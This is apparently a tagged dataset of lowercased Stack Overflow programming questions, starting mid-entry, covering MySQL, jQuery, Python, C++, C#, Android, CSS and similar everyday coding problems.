com.mysql.jdbc.preparedstatement.executequery(preparedstatement.java:1024) at pos.localdbcomm.getcustomers(localdbcomm.java:4542) </code></pre>   we have tried restarting the mysql service  disabling avira real-time mode etc  but nothing seems to help. we are really stuck  and would appreciate some insight into why this error just started occuring  and why it only affects some computers. since we have 2 computers in the same office where the first one works every time and the second one never works  i guess it cannot be due to firewall settings either. it is only the long query that is affected  small queries seems to work as before.    update: amazingly  after half a day of this bug  things suddenly started working again. i am perplexed and at a loss to know how it suddenly started working again. anyway  the next day it did not work anymore! the query just hangs as before. this is really very strange. it goes from working to not working without anyone having done anything.,mysql
generate sentences based on user selection which contain 2 data  thank you in advance for the help  i will like to generate a sentence base on user selection and each option contain 2 data (data 1 and 2). this data is not visible to end user.    below is my example:    dropdown list:      apple   <ol> <li>red</li> <li>sweet</li> </ol>   lemon   <ol> <li>yellow   </li> <li>sour</li> </ol>   upon selection from the drop down list  it will generate a sentence below:    this fruit is  +data1+  in color &amp; it taste  +data2+     please share with me an example so i learn from it. also may i know what is the exact term for the above example i have ask.    thank you in advance for the input and advise!,javascript
changing button text  hi i am using jquery drop down menu. so while i am clicking on the sub menu then the main button name should be change to the sub menu name. how to do that,jquery
project euler #10 python  i m a newbie attempting projecteuler problems.    problem #10 is as follows: find the sum of all the primes below two million.    my code is as follows   <pre><code>a=1 s=0 p=[]                                                         #just wanna see the primes for myself so creating a list for that        while a&lt;2000000:                                            #while value of primes is less than 2million         if all(a%i!=0 for i in range(3 int(a**0.5)+1)):     #checks if the number is prime             s=s+a                                           #add primes to the sum             p.append(a)                                     #add the primes to their list         a=a+2                                               #so that we only test odd numbers print(s) print(p) </code></pre>   so the problem is  the number 1 pops up in the list  and 2 doesn t show up. all other prime numbers get included. i tried many tweaks to find the sum and list of primes below 10 but the problem persists. what am i doing wrong,python
how to hide a toggled div and show another in its place  i m attempting to put together a menu for a theme i m working on however i m having trouble getting part of it to work. specifically  i want to be able to click on a link and have a div slide down and then fade in  then click another link and have that div fade and slide out then a new div slide and fade in its place. at the moment i have it working when hiding a div using the same link to show it  but different links just pile divs on top of each other.    here s the code i m using:   <pre><code>jquery.fn.fadethenslidetoggle = function () {     if (this.is( :hidden )) {         return this.slidedown(500   linear ).fadeto(500  1   linear );     } else {         return this.fadeto(500  0   linear ).slideup(500   linear );     } }; $(document).ready(function () {     $( #toggleabout ).click(function () {         $( #about ).fadethenslidetoggle();         return false;     });     $( #toggleprojects ).click(function () {         $( #projects ).fadethenslidetoggle();         return false;     });     $( #toggleconnect ).click(function () {         $( #connect ).fadethenslidetoggle();         return false;     });     $( #toggleexchange ).click(function () {         $( #exchange ).fadethenslidetoggle();         return false;     });     $( #toggleextras ).click(function () {         $( #extras ).fadethenslidetoggle();         return false;     });     $( #togglesearch ).click(function () {         $( #search ).fadethenslidetoggle();         return false;     }); }); </code></pre>   with a previous menu i designed i used something like this:   <pre><code>$( #toggleconnect ).click(function () {     $( .menubox:not(#connect) ).slideup(500   linear );     $( #connect ).delay(600).slidetoggle(500   linear );     return false; }); </code></pre>   this works fine when only calling on a single effect however the complexity of what i want to do here seems to break this. i ve tried a few things but nothing seems to work for me. any help would be appreciated.   <h2><a href= http://codepen.io/brigand/pen/grgck  rel= nofollow >codepen</a></h2>,jquery
is it possible to programmatically create a drawable and assign it to an imageview   so i m trying to somehow create a path object in code (no xml) and draw it into an imageview.  problem is i can t figure out any way to programmatically create any shape and have it show up in my imageview.  i can easily assign the imageview to an xml resource and that works fine like this:   <pre><code>imageview.setimageresource(r.drawable.resourcename); </code></pre>   here s the xml file:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;shape xmlns:android= http://schemas.android.com/apk/res/android      android:shape= rectangle &gt;      &lt;size         android:height= 50dp          android:width= 50dp  /&gt;     &lt;solid         android:color= #00f          /&gt; &lt;/shape&gt; </code></pre>   but if i do something like this code below which i thought should work  it compiles and runs without errors  but nothing happens.  i tried to create a simple rectshape and assign the imageview to it with setimagedrawable.  am i totally barking up the wrong tree here   i am extremely new to android coding fyi  so i very well may be way off here.  i do notice that i m never manually drawing the rectangle  do i have to do that somewhere   i sort of figured the imageview would take care of it  but maybe not.  let me know if you need more information about my code.   <pre><code>rectshape rect = new rectshape(); rect.resize(50 50); shapedrawable sdrect = new shapedrawable(rect); sdrect.getpaint().setcolor(color.black); sdrect.getpaint().setstyle(paint.style.fill); imageview.setimagedrawable(sdrect); </code></pre>,android
get the start and end date based on working dates in the week in asp.net c#  i want startdate enddate.based on taskid in the database datatable data contain like table:   <pre><code>taskid mondate tuedate weddate...sundate monhours tuehours wedhours thuhours.... sunhours tsk100 3/6/13  4/6/13  5/6/13..  9/6/13   null      2         2          1            2 </code></pre>   so this time i want like startdate=4/6/13  and enddate=9/6/13.  so please help me,.net
what is the default location of edmx file vs 2013  i generated my models using entity framework 6  visual studio 2013  mvc 5.  i have since changed some of the fields in my database and would like to update my models.  i m trying to follow the instructions <a href= https://msdn.microsoft.com/en-us/library/vstudio/cc716697(v=vs.100).aspx  rel= nofollow >here</a>  which i realize is for .net 4  but i was not able to find anything different for 4.5.    the real problem is that i am unable to locate my .edmx file  even after searching the solution.  but if i try to add a new ado.net item named the default( model1 ) the wizard states there is already a file with that name.    where should i be looking for the .edmx file   or am i on the entirely wrong path for finding the model update wizard,.net
how to determine controller class given url string  within the scope of a rails controller or a view: how can i query the rails routing mechanism to turn a relative url string (eg  /controllername/action/whatever  into the controller class that would be responsible for handling that request     i want to do something like this:   <pre><code>controllerclass = somemethod( /controllername/action/whatever ) </code></pre>   where contorllerclass is an instance of class.    i don t want to make any assumptions about a routing convention eg. that the  controllername  in the above example is always the name of the controller (because it s not).,ruby-on-rails
html link to generic page that displays specific images  i have a simple html page with a table containing multiple rows. each row has a cell with a hyperlink to another html page named  photos.html . currently the  photos.html  page displays every single image linked to from the main page. i would like to change this so that if the user clicks a hyperlink on the main page  the  photos.html  page is opened but only the images relating to the specific row are displayed.    here is a simplified example of what i am trying to accomplish:   <pre><code>&lt;html&gt;     &lt;head&gt;     &lt;/head&gt;      &lt;body&gt;         &lt;a href= photos.html  target= _blank &gt;link 1&lt;/a&gt; &lt;!-- open  photos.html  with link 1 images only --&gt;         &lt;a href= photos.html  target= _blank &gt;link 2&lt;/a&gt; &lt;!-- open  photos.html  with link 2 images only --&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   is this possible in html,html
template class vs free store memory use  i am just a novice in c++ and i am trying to make some of my first classes for my work. however  when thinking about the structure of the class  i am doubting and a little bit confused between a template class and inner parameter instancing using free store memory.    let s consider a simple example as follows.    1 - template class   <pre><code>template &lt; unsigned int n  typename t&gt; class myclass {  private:       t _data[n];  public:       myclass()       {          for (int i=0;i&lt;n;i++) _data[i] = 0;              }       ~myclass(){} } </code></pre>   2 - heap memory use   <pre><code>template &lt; typename t&gt; class myclass {  private:       unsigned int _n;      t *_data;  public:       myclass(const unsigned int &amp;m)       {          _n = m;         _data = new t[_n];         for (int i=0;i&lt;n;i++) _data[i] =0.;              }       ~myclass(){ delete [] _data;} } </code></pre>   between the two aforementioned methods  which one is better  what is the pros and cons of those two  would anyone please helping me answering those questions  thank you very much.,c++
how can i change the colors of this radial clock in javascript   i found a javascript clock online. i want to change the color of the circles  but can t figure out how to do it.    this is the clock: <a href= https://codepen.io/escu/pen/wmzpqz  rel= nofollow noreferrer >https://codepen.io/escu/pen/wmzpqz</a>    this is the code where the circles are drawn:   <pre><code>object.keys(circles).foreach((k  i) =&gt; {     ctx.beginpath();     circles[k].update(times[k]);     ctx.strokestyle =  hsl(  + k.charcodeat(0) * i +    50%  50%) ;     ctx.stroke(); }); </code></pre>   how can i change the colors of the circles  for example  the hours should be red  the minutes green and the seconds blue.,javascript
css responsive media not responding  alright so for some reason i ve been trying to figure this out but can t. what s wrong with this  it s not being called at all. i m trying to basically setup a simple responsive theme.  it is kind of strange inside the notepad++  when i type like @medi it will be blue but once i add @media it will go black.   <pre><code>@media only screen and {min-width: 150px} and {max-width:600px} {      body {         width: 100%;         font-size: 100%;         background-color: black;     }      #header {         width: 50%;         height: 50%;         margin-top: 10px;     } } </code></pre>,css
passing login info to a webview  i am building an app that utilizes the facebook login via the facebook sdk in the first view and i want to pass the auth info to the next view  which contain a uiwebview. i need to use the authentification from facebook within the uiwebview. is this possible and how would i do such     thanks in advance!,ios
blocks and passing objects as arguments  i have an <code>dispatch_async</code> call in that call i call a block defined in a variable   <pre><code>dispatch_async(kbgqueue  ^{             proceeddatablock(callbackobj  buffer  mbo);             free(buffer);         }); </code></pre>   in the  inner  block i do some stuff with my buffer (const char *) and create an obj-c object and pass it to my callbackobj like   <pre><code>table *datalist = [[table alloc] init ...]; [callbackobj performselectoronmainthread:@selector(recievedatamodelsfinished:) withobject:[datalist autorelease] waituntildone:yes]; </code></pre>   my callback obj does   <pre><code>-(void)recievedatamodelsfinished:(tabledatalist *)datalist {     self.tabledatalist = datalist; } </code></pre>   which is defined as   <pre><code>@property (nonatomic  retain) tabledatalist *tabledatalist; </code></pre>   why gets dealloc get called for my table object after my callback is done,objective-c
how does c# search for best match overloaded method  i got several questions about calling overloaded(or maybe i should call them hidden) methods in c#. suppose i have classes as following:   <pre><code>class paraa {} class parab : paraa {} class parac : parab {}  class thebaseclass  {    public void dojob (paraa a){console.writeline ( dojob in thebaseclass is being invoked );}  }  class thederivedclass : thebaseclass  {   public void dojob (parab b){console.writeline ( dojob in thederivedclass is being invoked );} }  class test {   //case 1: which version of dojob() is being called    thederivedclass ainstance= new thederivedclass ();   ainstance.dojob(new paraa ());    //case 2: which version of dojob() is being called    thebaseclass ainstance= new thederivedclass ();   ainstance.dojob(new paraa ());    //case 3: which version of dojob() is being called    thebaseclass ainstance= new thederivedclass ();   ainstance.dojob(new parab ());    //case 4: which version of dojob() is being called    thebaseclass ainstance= new thederivedclass ();   ainstance.dojob(new parac ());  } </code></pre>   i hope that i have made myself clear about what i am trying to do. i want to know how will c# search for the  matched  version of method to invoke  when the parameters provided by the invoker do not perfectly match any signature but are compatible with some signatures. it makes me even more confused when methods are not just overloaded within a class  but also hidden  or overrided  or overloaded by derived classes. the example above does not cover every possible scenario. is there any term for this     thank you guys in advance!    matthew,c#
karbonn a21 is not showing as avd   i am writing very simple android program in eclipse but when i want to run that program in my android phone(karbonn a21 with android version 4.0.4) is not shown as avd.since the usb debugging is also checked.and unknown sources is also checked.    any ideas      thanks for your time.,android
having problems with datainputstream.readint()  i m trying to build a network file transfer program which helps any two users in a network transfer files among-st each other. i ve created a client and a server side. the client sends a file to the server meanwhile the server receives a file from a client. the file sent could be a folder which could contain other files and folders.  take a look at a section of the client side code   <pre><code>public void sendfile(file file) throws ioexception{     if(file.isdirectory()){         string fname= getfilename(file);         header= file-name= +fname+ :file-type=dir:file-len=0:block-state=none:\n ;         sendinfo(header.getbytes());         if(file.list()!=null){            for(file f:file.listfiles()){               sendfile(f);             }         }     }     else if(file.isfile()){         string fname= getfilename(file);          header= file-name= +fname+ :file-type=file:file-len= +file.length()+ : ;         if(file.length()&gt;26214400){             sendinblocks(file);         }         else{             byte[] info=files.readallbytes(file.topath());             header+= block-state=none:\n ;             byte[] buf= new byte[header.getbytes().length+info.length];           arraymerge.mergebytearray(buf  header.getbytes()  info);           sendinfo(buf);         }     } }  private void sendinblocks(file file) throws ioexception{     int beg=0  read=2;     int blocknum=0;     try (fileinputstream fin = new fileinputstream(file)) {         while(read&gt;0){              byte[] b= new byte[buffersize];             read=fin.read(b  0  buffersize);             if(read&lt;0) break;             string hdr=header+ block-num= +(blocknum++)+ :block-len= +b.length+ :block-state=up:\n ;             byte[] buf= new byte[b.length+hdr.getbytes().length];             arraymerge.mergebytearray(buf  hdr.getbytes()  b);             sendinfo(buf);             beg=beg+read;             buffersize=(file.length()-beg&gt;buffersize) buffersize:(int)(file.length()-beg);         }     }     buffersize=5242880;      header=header+ block-state=done:\n ;     sendinfo(header.getbytes()); }  private void sendinfo(byte[] info) throws ioexception{     int infolen=info.length;     dout.writeint(infolen);     system.out.println( file length sent:  +infolen);     dout.flush();         dout.write(info);         system.out.println( info-sent:  +header);         dout.flush();         int num=din.readint();         if(num==150){             system.out.println( send successful );         }         else{             system.out.println( send unsuccessful );         }         prog.setvalue(prog.getvalue()+1); } </code></pre>   here is another section of the server side code   <pre><code>try {         while(cont){            int contentlen=din.readint(); //read the content length            system.out.println( len:  +contentlen);            buffer= new byte[contentlen]; //create a buffer to contain the data sent             int off=0  read=1024;   //initialise loop variables. loop reads &lt;=1024 bytes at once            while(off&lt;contentlen-1)  //while counter has not reached last index of buffer            {               if(contentlen-off&lt;1024)  //if there are less than 1024(1k) bytes to be read               {read=contentlen-off;}   //affect the new number of bytes to be read                off=off+din.read(buffer  off  read);  //read bytes and increment the counter with the number of bytes read            }            system.out.println( processing... );            handlefiletransfer();         }  } </code></pre>   the program works perfectly well but at some points in time  the variable  <code>contentlen</code> of the server side reads a very large integer which is not what was sent by the <code>writeint(info.length)</code> method of the client side. i thought that this occurred when the file to be sent contained a lot of nested folders with file contents.,java
my page is only buffering in php ...... when i put some value in textbox above 1000 <pre><code> &lt; php print $errors[ nofocards ];  &gt; &lt;/td&gt;                      &lt;/tr&gt;                                 &lt;tr align= center  valign= top &gt;                                                                 &lt;td align= left &gt; quantity&lt;/td&gt;                                 &lt;/tr&gt;                                 &lt;tr align= left  valign= top &gt;                                                           &lt;td&gt;                                     &lt; php                           $sql =  select q.* from custompricing c  quantity q    where q.quantityid=c.quantityid and stocktypeid=$stocktypeid and paperplastictypeid=$paperplastictypeid and sizespecificationid=$sizespecificationid and paperplasticqualityid=$paperplasticqualityid order by q.quantityid ;                                         //print $sql;                                         //$sql =  select * from quantity order by priority ;                                          $result = mysql_query($sql $link);                                         $isdone = false;                                         while($ary = mysql_fetch_array($result))                                         {                                             if($quantityid == $ary[ quantityid ])                                             {                                                 $isdone = true;                                                                                             $transportpreference = $ary[ transportpref ];                                             }                                                                                 }                                         if($isdone == false)                                         {                                             $transportpreference =  ar ;                                         }                                      &gt;               &lt;div class= form-group &gt;                       &lt;div class= col-xs-2 &gt;        &lt;input name= txtquantity  type= text  class= form-control input-md pull-left   id= txtquantity  size= 9  maxlength= 6  onblur= checkquantity()  value= &lt; = $txtquantity  &gt; &gt;        &lt;input name= hndquantityid  type= hidden  id= hndquantityid  value= &lt; = $hndquantityid  &gt; &gt;        &lt;input name= hndcustomquantity  type= hidden  id= hndcustomquantity &gt;        &lt;input name= hndchnage  type= hidden  id= hndchnage  value= custom &gt;                                          &lt;input name= qtytype  type= hidden  id= qtytype  value= customquantity &gt;                                   &lt;br&gt;                                   &lt;br&gt;                          &lt;p class= text-nowrap &gt;(please be patient after inserting a custom quantity for the webpage to refresh).&lt;/p&gt;&lt;/td&gt;.                                 &lt;/tr&gt;                               &lt;/table&gt;                                   &lt;/td&gt;                           &lt;/tr&gt; </code></pre>   javascript code   <pre><code>function checkquantity(){     qtyval = document.formbasic.txtquantity.value;     if (!(isnumeric(document.formbasic.txtquantity.value))){         document.formbasic.hndquantityid.value = aryqty[0][0];         document.formbasic.txtquantity.value = minqty;         document.formbasic.hndcustomquantity.value =  no ;     }      if (maxqty &lt; qtyval){         document.formbasic.hndquantityid.value = aryqty[aryqty.length-1][0];         document.formbasic.txtquantity.value = maxqty;         document.formbasic.hndcustomquantity.value =  no ;     } //  else if (qtyval ==    || qtyval &lt; minqty){     else if (qtyval ==   ){         document.formbasic.hndquantityid.value = aryqty[0][0];         document.formbasic.txtquantity.value = minqty;         document.formbasic.hndcustomquantity.value =  no ;     }     else if (qtyval &lt; minqty){         document.formbasic.hndquantityid.value = aryqty[0][0];         document.formbasic.txtquantity.value = minqty;         document.formbasic.hndcustomquantity.value =  yes ;     }     else {         getquantityid(qtyval);     }      if (curqtyid != document.formbasic.hndquantityid.value)         {             curqtyid = document.formbasic.hndquantityid.value;             submitmethod();         } }      when i entered value in quantity ...say 100 then the page is accepting the value and page load proper and stop ....but when i put value of 1000 then the page continously loading and loading and it does not stop.......     what is the possible problem in the page  and my inputbox of quantity accepts value above 1000 upto 5000....then also the problem persist how it can be solved  if needed more code ...i will provide  how it can be solved  </code></pre>   when i entered value in quantity ...say 100 then the page is accepting the value and page load proper and stop ....but when i put value of 1000 then the page continously buffering  and it does not stop.......         what is the possible problem in the page      and my inputbox of quantity accepts value above 1000 upto 5000....then also the problem persist     how it can be solved      if needed more code ...i will provide      how it can be solved     <a href= https://i.stack.imgur.com/nddua.png  rel= nofollow noreferrer >this is the error page only buffering the page</a>,php
add image into uiactionsheet  how to add image into uiactionsheet,iphone
comparison of loading css inline  embedded and from external files  we can write css as the following types:   <ol> <li>inline css</li> <li>embedded css </li> <li>external css</li> </ol>   i would like to know pros and cons of each.,css
capitalize and seperate the string using filter in angular <pre><code>app.filter( capitalize   function(){   return function(input  char){     if(isnan(input)){       var char = char - 1 || 0;       var letter = input;       var out = [];       for(var i = 0; i &lt; input.length; i++){         if(i == input.replace(/[a-z]/g    )){           out.push(letter);         }         return out.join(   );       }     }   } }) </code></pre>   i want to give space with capital value find using filter but does not work is there any way we can achive this pls guide    expected    ex . thisisalax should return this is alax,angularjs
write a name in a diagonal line representation  i m trying to write a program that will show a name in a diagonal line.  i know i should add a variable with space  like \t  and increment it in each loop.  i have tried to do this with no success. any suggestions    <pre><code>int main() {     string space =  \t ;     string firstname;     cout &lt;&lt;  enter your first name: ;     cin &gt;&gt; firstname;     for (int poschar = 0;     poschar &lt; firstname.length( );     poschar++)     cout &lt;&lt; space &lt;&lt; firstname.at(poschar) &lt;&lt; endl;     space=space +  \t ; // this is what i ve tried  it s a long shot.       return 0; }  output: enter your first name:alexander a l e x a n d e r </code></pre>,c++
app crashing when trying to create a tbxml object with this xml  i am trying to parse following xml using tbxml library -    <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;reply   replycode= success  &gt; &lt;track track_id= 1302234   track_mp3= 74-ruff_ryders_feat_sheek_louch_and_big_pun_-_piã±a_colada.mp3 &gt;&lt;/track&gt; &lt;/reply&gt; </code></pre>   but when i tried to create tbxml object the app is crashing i think this is because of some special chars in xml file (piã±a).    any idea on this,iphone
how to find a string in field and add an url before it in mysql database   i would like to know how to find in a table field all possible instances of a string e.g.   <pre><code>uploads/ </code></pre>   and add before all of them another string e.g.   <pre><code>http://example.com/ </code></pre>   my idea is to update all my records in database where the old links are not working so for instace i have something like this for a field <strong>perex</strong>   <pre><code>check this car &lt;img src= /uploads/audi.jpg &gt;. it is fantastic! </code></pre>   to look like:   <pre><code>check this car &lt;img src= http://example.com/uploads/audi.jpg &gt;. it is fantastic! </code></pre>   and i have hundreds of this situations in my db.    what could an update query look like  assume we have it in one table called <strong>cars</strong> and field is called <strong>perex</strong>. we need to find there all instances of <strong>/uploads</strong> and add before the slash <strong>http://example.com/</strong>    thanks in advance for your answer.,mysql
analogue $ (document). click (function (e) without reference of event  i need to close some popup  click-through beyond.  for this i use the following code:    <pre><code>$(document).click(function(e){     var target = $(e.target);     if (target.is( div.date_body ) || target.is( div.date_header ) || target.is( div.date_header button ) || target.parents( .popuplayout ).length)          return;      $(document).unbind( click   arguments.callee);     scope.callfadeout();     scope.accept(); }); </code></pre>   but now  it was necessary to abandon the argument e passed.  perhaps someone can suggest a way to implement it,jquery
passing value type by reference in .net  i am interested to know what happens behind the scenes when i pass a value type by reference using a  ref  or  out  operators in .net. i know that passing by value has  copy  semantics. so  when i pass a value type into a function by reference  does the variable get boxed into a reference type  stored on the heap  and then a reference to it is passed instead,.net
objective-c get item from sender  i have this method here:   <pre><code>- (ibaction)checkboxtapped:(id)sender forevent:(uievent*)event {      nslog(@ %@   sender); } </code></pre>   this is what sender is returning...    <a href= https://i.stack.imgur.com/msd4e.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/msd4e.png  alt= enter image description here ></a>    my question is how do i get the value of _checked    checkbox is a class    please help,objective-c
not getting field_with_errors for some reason  i m using rails 3.2.2 and am not getting the field_with_errors div when the validation fails.    <strong>views/sessions/new.html.erb</strong>   <pre><code>&lt;%= form_tag sessions_path do %&gt;    &lt;p&gt;&lt;%= label_tag :email %&gt;&lt;br /&gt;   &lt;%= email_field_tag :email %&gt;&lt;/p&gt;    &lt;p&gt;&lt;%= label_tag :password %&gt;&lt;br /&gt;   &lt;%= password_field_tag :password %&gt;&lt;/p&gt;    &lt;p&gt;&lt;%= submit_tag  log in  %&gt;&lt;/p&gt;  &lt;% end %&gt; </code></pre>   <strong>controllers/sessions_controller.rb</strong>   <pre><code>  def create     user = user.find_by_email(params[:email])     if user &amp;&amp; user.authenticate(params[:password]) &amp;&amp; user.account.subdomain == request.subdomain       session[:user_id] = user.id       redirect_to home_path       flash[:notice] =  logged in!      else       flash.now[:error] =  invalid email or password        render  new      end   end </code></pre>   <strong>models/user.rb</strong>   <pre><code>  attr_accessible :first_name  :last_name  :email  :password  :password_confirmation   has_secure_password    validates :email  :presence =&gt; true  :uniqueness =&gt; true   validates :password  :presence =&gt; true  :on =&gt; :create </code></pre>   i m getting the flash message  but my view doesn t render the field_with_errors wrapper divs if the validation fails.  any ideas     thanks.,ruby-on-rails
replace special string part in php  i need to transform this string:   <pre><code>hello  i m **super** and **tall**. </code></pre>   to this one:   <pre><code>hello  i m &lt;big&gt;super&lt;/big&gt; and &lt;big&gt;tall&lt;/big&gt;. </code></pre>   so i use this:   <pre><code>$string =  hello  i m **super** and **tall**. ; $old = array( **    ** ); $new = array( &lt;big&gt;    &lt;/big&gt; ); $newstring = str_replace($old  $new  $string); </code></pre>   but it don t work.    could you please help me      thanks.,php
sql query to create a report of matches played  recently i have been asked a below sql query question  can someone help me with this one. i have a table with three columns - home team  away team  and winner team. like given below.   <pre><code>h_t  a_t  w_t aus  ind  ind eng  aus  eng ind  aus  aus aus  eng  aus eng  ind  ind ind  eng  ind </code></pre>   above data needs to be converted in sql to show the report with below attributes team name  total matches played  win count  draw count  loss count  points.    to calculate points  these are the formulas for each kind (win/draw/loss)    win = win count * 3    draw = draw count * 1    loss = loss count * 0    point will be summed up with above three values.    thanks in advance,sql
java replace substring in string specific index  how would i replace a string <code>10100</code> with <code>10010</code> using the algorithm  replace the last substring 10 with 01.  i tried    <pre><code>s=s.replace(s.substring(a a+2)   01 ); </code></pre>   but this returns <code>01010</code>  replacing both the first and the second substring of <code> 10 </code>.  a  represents s.lastindexof( 10 );,java
ios 6 constraints making the uiview longer  i am not sure what is going on and how to handle this. i have a uiview in a cell and i set the constraints using ib and for some reason it stretches out to the end of the cell. how can i stop it from stretching.     <img src= https://i.stack.imgur.com/bflad.png  alt= enter image description here >    and here is the result:     <img src= https://i.stack.imgur.com/ulwpy.png  alt= enter image description here >    i am dynamically injecting a stepper control but as you can see the uiview stretches to the end of the cell. i tried pin width then it completely messes up everything and does not even display the uiview.     here is the screenshot of constraints:     <img src= https://i.stack.imgur.com/loj7w.png  alt= enter image description here >,ios
html input box more than one line  i have an html form   <pre><code>&lt;form id= my_form  action= submit &gt;   title: &lt;input type= text  name= title &gt;  &lt;/form&gt;  </code></pre>   i d like the title input box to have height more than one line  instead of just one line. how can i do it,html
function-like css classes  edit:  i apologize if this has been asked before or is a well-known techinque.  i didn t know what this would be called and hence i was unable to search for it.    in my html document  i vertically center something as follows:   <pre><code>&lt;div style= position:  absolute; margin:  auto; top:  0; bottom:  0; height:  500px &gt; &lt;!-- content here --&gt; &lt;/div&gt; </code></pre>   this works great  the only problem is  the code isn t quite reusable because it depends on the particular height of the block.  what i would like to do is something like this:   <pre><code>&lt;div class= vcenter(500px) &gt; &lt;!-- content here --&gt; &lt;/div&gt;  .vcenter(height) {     position:  absolute;     margin:  auto;     top:  0;     bottom:  0;     height:  height; } </code></pre>   if i could implement something like this  then i would not have to duplicate code every time i wanted to vertically center something.  does css have a way of implementing this,css
edit 2 uitextfield by turn with a select in uipickerview  i have 2 instances of <code>uitextfield</code> and 1 instance of  <code>uipickerview</code>. <code>uipickerview</code> is able to update data into  <code>uitextfield</code> in <code>didselectrow:(nsinteger)row incomponent:(nsinteger)component</code>. but how do i  update 2 <code>uitextfield</code> from <code>uipickerview</code> when the user touch the <code>uitextview</code>     thanks. :),iphone
pass value from webpage to web form in asp.net  is it possible to pass values from asp.net website to web form in asp.net,asp.net
nullpointerexception in windowmanagerimpl on android os 3.2  i got an null pointer exception on android 3.2 emulator  on a simple android project created by wizerd with a service in separated process  when i switch between  stretch to fill screen  to  zoom to fill screen . this crash will <em>not</em> happen if the service is put into the same process with main activity  namely  android:process  attribute not specified. while it only happens when i add  android:process  to manifest file for my test service.    the exception is:   <pre><code>fatal exception: main      java.lang.nullpointerexception       at android.view.windowmanagerimpl.reportnewconfiguration(windowmanagerimpl.java:427)       at android.app.activitythread.handleupdatepackagecompatibilityinfo(activitythread.java:2801)       at android.app.activitythread.access$2700(activitythread.java:122)       at android.app.activitythread$h.handlemessage(activitythread.java:1151)       at android.os.handler.dispatchmessage(handler.java:99)       at android.os.looper.loop(looper.java:132)       at android.app.activitythread.main(activitythread.java:4123)       at java.lang.reflect.method.invokenative(native method)       at java.lang.reflect.method.invoke(method.java:491)       at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:841)       at com.android.internal.os.zygoteinit.main(zygoteinit.java:599)       at dalvik.system.nativestart.main(native method) </code></pre>   my test code:   <h1>testactivity.java (generated by wizerd)</h1>  <pre><code>package com.test;  import android.app.activity;  public class testactivity extends activity {     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main);          intent intent = new intent(this  testservice.class);         startservice(intent);     } } </code></pre>  <h1>testservice.java (most of the functions are empty)</h1>  <pre><code>package com.test;  import android.content.componentname;  public class testservice extends service {     private boolean m_connected = false;      private serviceconnection m_conninitservice = new serviceconnection() {         public void onserviceconnection(componentname classname  ibinder service) {             m_connected = true;         }          public void onservicedisconnected(componentname classname) {         }     };      public static class testservicebinder extends binder {     }      public ibinder onbind(intent intent) {         return new testservicebinder();     }      public void ondestroy() {         super.ondestroy();     }      public int onstartcommand(intent intent  int flags  int startid) {         return 1;     } } </code></pre>   if i run the test app without service or with service in the same process the screen compatibility switch will not cause any problem. however  i do not understand why service can cause system exception during screen compatibility switch. is this because service process is a non-ui process  which could potentially triggers a bug inside the android core code,android
how to write simple tcp listener that will be able to send packages    i need to write simple tcp listener that will be able to listen tcp ( receive packages ) on one thread and in case i need to send some package i will be able to do it on some other thread    how can i do it,c#
how to prevent reposting of data before refresh   suppose there is button on which there is event for adding the total sum(there is coloumn amount in gridview) and posting the data in gridview i.e update of gridview. i want that when user  click on button it will update the gridview i.e data will inserted in geridview but it will not add current numeric value  to the total sum unless user refresh the page.     for this how to do   please tell me.,asp.net
string constant storage  is there any difference between the two functions below isn t in both cases the address of local variable returned  but the using the f1() fn returns the correct value 4 but not f2(). also in third case am i right about this that string constant are not stored in stack so when we return the pointer it will work fine. also then where are string constant are stored    <pre><code>int* f1() {   int* a=(int*)4;   return a; }  int* f2() {   int a=4;   return &amp;a; }  char* f3() {   char* p= abcd ;   return p; } </code></pre>,c
trigger change event <select> using jquery  is there anyway i could trigger a change event on select box on page load and select a particular option.     also the function executed by adding the trigger after binding the function to the event.    i was trying to output something like <a href= http://jsfiddle.net/v7qwd/1/  rel= noreferrer >this</a>   <pre><code>&lt;select class= check &gt; &lt;option value= one &gt;one&lt;/option&gt; &lt;option value= two &gt;two&lt;/option&gt; &lt;/select&gt;  $(function(){     $( .check ).trigger( change ); //this event will fire the change event.      $( .check ).change(function(){       var data= $(this).val();       alert(data);                 }); }); </code></pre>   <a href= http://jsfiddle.net/v7qwd/1/  rel= noreferrer >http://jsfiddle.net/v7qwd/1/</a>,jquery
executenonquery requires an open and available connection. the connection s current state is closed--keeps on appearing on my windows form app c#   i am new in programming and i really don t know what to do with this one... you see that message keeps on appearing. i am trying to make a program with when you click the button it saves the username in a table but the username should be valid first. here s my code...   <pre><code>    private void button2_click(object sender  eventargs e)     {         sqlconnection conn = new sqlconnection(@ data source=(localdb)\mssqllocaldb;attachdbfilename=c:\users\hp\documents\main.mdf;integrated security=true;connect timeout=30 );         sqldataadapter sda = new sqldataadapter( select count(*) from users where username =   + textbox1.text +    and password=   + textbox2.text +      conn);         datatable dt = new datatable();         sda.fill(dt);         if (dt.rows[0][0].tostring() ==  1 )         {             using (sqlconnection sqlcon = new sqlconnection(connectionstring))             sqlcon.open();             sqlcommand sqlcmd = new sqlcommand( ulogin   conn);             sqlcmd.commandtype = commandtype.storedprocedure;             sqlcmd.parameters.addwithvalue( @username   textbox1.text.trim());             sqlcmd.executenonquery();             clear();         }         else         {             messagebox.show( please enter valid username and password.       messageboxbuttons.ok  messageboxicon.error);         }      }     void clear()     {         textbox1.text = textbox2.text =   ;     } </code></pre>,c#
span border not wrapping a image  i m trying to wrap a image using a span  but when a border is applied in the span  the border is clipped. why is this happening     <a href= http://jsfiddle.net/c743yelt/1/  rel= nofollow >http://jsfiddle.net/c743yelt/1/</a>   <pre><code>&lt;span id= imagem &gt;     &lt;img src= http://www.greentechmedia.com/content/images/articles/google-utility.jpg /&gt; &lt;/span&gt;  span{     border: 5px solid black;     cursor:pointer; } </code></pre>,css
error in return type-class  i am new to c# and am testing on return types using array and a class. but somehow i am stuck while trying to return a class  object. in class notwhole  i tried to pass an array as an argument to the constructor but somehow compiler throws an error saying  field initializer can t initialize non static field member .   <pre><code>class whole {     int[] arr = new int[3];     public whole()     {     }     public whole(int[] arr)     {         arr = arr;     }      public int[] spit()     {         return arr;     }  }  class notwhole {     int[] arr = new int[] { 1  2  3 };     whole w1 = new whole(arr); //error: can t pass an array(arr) as an argument     public whole wow()     {         return w1;     } } </code></pre>,c#
